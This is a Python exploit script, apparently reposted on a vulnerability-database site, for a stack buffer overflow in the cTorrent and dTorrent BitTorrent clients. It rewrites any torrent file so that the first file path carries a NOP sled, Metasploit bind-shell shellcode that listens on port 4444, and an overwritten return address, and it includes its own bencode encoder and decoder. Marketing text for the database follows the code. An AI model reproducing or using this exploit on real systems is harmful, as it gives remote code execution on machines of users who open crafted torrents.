#!/usr/bin/python
#Written By Michael Brooks
#04/17/2009
#Stack Based Buffer Overflow
#The vulnerability is in the btFiles::BuildFromMI function
#inside the btfiles.cpp file
#Exploit tested on cTorrent 1.3.4 using Debian Sarge using Linux kernel 2.4.27-3-386
#Can't get the exploit working on a modern linux kernel because of ASLR
#code is using python 2.5
#Home page for cTorrent 1.3.4:
#http://sourceforge.net/projects/ctorrent/ 161,000+ Downloads
#dTorrent 3.3.2 is also vulnerable:
#http://sourceforge.net/projects/dtorrent/ 18,000+ downloads
import sys
import os
#This code will take any torrent file and turn it into an exploit.
USAGE="python exploit.py in_file.torrent out_file.torrent"
def main():
#Start of the program
bfile=fileio()
try:
bad_torrent=bfile.read_bencode(sys.argv[1])
except:
print USAGE
sys.exit()
exploit_str=create_exploit()
print("Writing Bytes:"+str(len(exploit_str)))
bad_torrent["info"]["files"][0]["path"][0]=exploit_str
try:
bfile.write_bencode(sys.argv[2], bad_torrent)
except:
print USAGE
sys.exit()
def create_exploit():
# linux_ia32_bind - LPORT=4444 Size=108 Encoder=PexFnstenvSub http://metasploit.com
shellcode = "\x2b\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
shellcode += "\x1a\xbe\x4e\x83\xeb\xfc\xe2\xf4\x16\xc1\xed\x0d\x74\x70\xbc\x24"
shellcode += "\x41\x42\x27\xc7\xc6\xd7\x3e\xd8\x64\x48\xd8\x26\x36\x46\xd8\x1d"
shellcode += "\xae\xfb\xd4\x28\x7f\x4a\xef\x18\xae\xfb\x73\xce\x97\x7c\x6f\xad"
shellcode += "\xea\x9a\xec\x1c\x71\x59\x37\xaf\x97\x7c\x73\xce\xb4\x70\xbc\x17"
shellcode += "\x97\x25\x73\xce\x6e\x63\x47\xfe\x2c\x48\xd6\x61\x08\x69\xd6\x26"
shellcode += "\x08\x78\xd7\x20\xae\xf9\xec\x1d\xae\xfb\x73\xce"
#The exact address of our buffer is 0xbffffccc, which ebx tells us
#however memeory changes before we control the eip,
#so we change the addr to hit the NOP sled
eip="\x11\xf1\xff\xbf"
#eip="\xcc\xfc\xff\xbf"#the add ebx is holding
#this is a dummy address to satisfy other pointer before we return
#this cannot be the EIP becuase this location is written to!
dumb_addr="\xcc\xfc\xff\xbf"
#nop sled
long_str="\x90"*(4028-len(shellcode))
#memory around the shellcode is written to, but this is a safe place
long_str+=shellcode
#this 100byte buffer is written to before we control the eip
long_str+="\x90"*100
long_str+=eip#4128 bytes is the EIP!
#This pointer must be real becuase it is written to in btFiles::BuildFromMI
long_str+=dumb_addr#"this"
#We can control these addresses but we don't need them
#long_str+=dumb_addr#"metabuf"
#long_str+=dumb_addr#"saveas"
return long_str
#Start of functions for bencoding:
def BTFailure(msg):
pass
def decode_int(x, f):
f += 1
newf = x.index('e', f)
n = int(x[f:newf])
if x[f] == '-':
if x[f + 1] == '0':
raise ValueError
elif x[f] == '0' and newf != f+1:
raise ValueError
return (n, newf+1)
def decode_string(x, f):
colon = x.index(':', f)
n = int(x[f:colon])
if x[f] == '0' and colon != f+1:
raise ValueError
colon += 1
return (x[colon:colon+n], colon+n)
def decode_list(x, f):
r, f = [], f+1
while x[f] != 'e':
v, f = decode_func[x[f]](x, f)
r.append(v)
return (r, f + 1)
def decode_dict(x, f):
r, f = {}, f+1
while x[f] != 'e':
k, f = decode_string(x, f)
r[k], f = decode_func[x[f]](x, f)
return (r, f + 1)
decode_func = {}
decode_func['l'] = decode_list
decode_func['d'] = decode_dict
decode_func['i'] = decode_int
decode_func['0'] = decode_string
decode_func['1'] = decode_string
decode_func['2'] = decode_string
decode_func['3'] = decode_string
decode_func['4'] = decode_string
decode_func['5'] = decode_string
decode_func['6'] = decode_string
decode_func['7'] = decode_string
decode_func['8'] = decode_string
decode_func['9'] = decode_string
def bdecode(x):
try:
r, l = decode_func[x[0]](x, 0)
except (IndexError, KeyError, ValueError):
raise BTFailure("not a valid bencoded string")
if l != len(x):
raise BTFailure("invalid bencoded value (data after valid prefix)")
return r
from types import StringType, IntType, LongType, DictType, ListType, TupleType
class Bencached(object):
__slots__ = ['bencoded']
def __init__(self, s):
self.bencoded = s
def encode_bencached(x,r):
r.append(x.bencoded)
def encode_int(x, r):
r.extend(('i', str(x), 'e'))
def encode_bool(x, r):
if x:
encode_int(1, r)
else:
encode_int(0, r)
def encode_string(x, r):
r.extend((str(len(x)), ':', x))
def encode_list(x, r):
r.append('l')
for i in x:
encode_func[type(i)](i, r)
r.append('e')
def encode_dict(x,r):
r.append('d')
ilist = x.items()
ilist.sort()
for k, v in ilist:
r.extend((str(len(k)), ':', k))
encode_func[type(v)](v, r)
r.append('e')
encode_func = {}
encode_func[Bencached] = encode_bencached
encode_func[IntType] = encode_int
encode_func[LongType] = encode_int
encode_func[StringType] = encode_string
encode_func[ListType] = encode_list
encode_func[TupleType] = encode_list
encode_func[DictType] = encode_dict
try:
from types import BooleanType
encode_func[BooleanType] = encode_bool
except ImportError:
pass
def bencode(x):
r = []
encode_func[type(x)](x, r)
return ''.join(r)
class fileio:
def read_bencode(self,file):
infile = open(file,"r")
file=infile.read()
infile.close
return bdecode(file)
#writes a dictionary to a bencoded file
def write_bencode(self,file,dict):
outfile = open(file, 'wb')
outfile.write(bencode(dict))
outfile.close()
#execute main
main()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation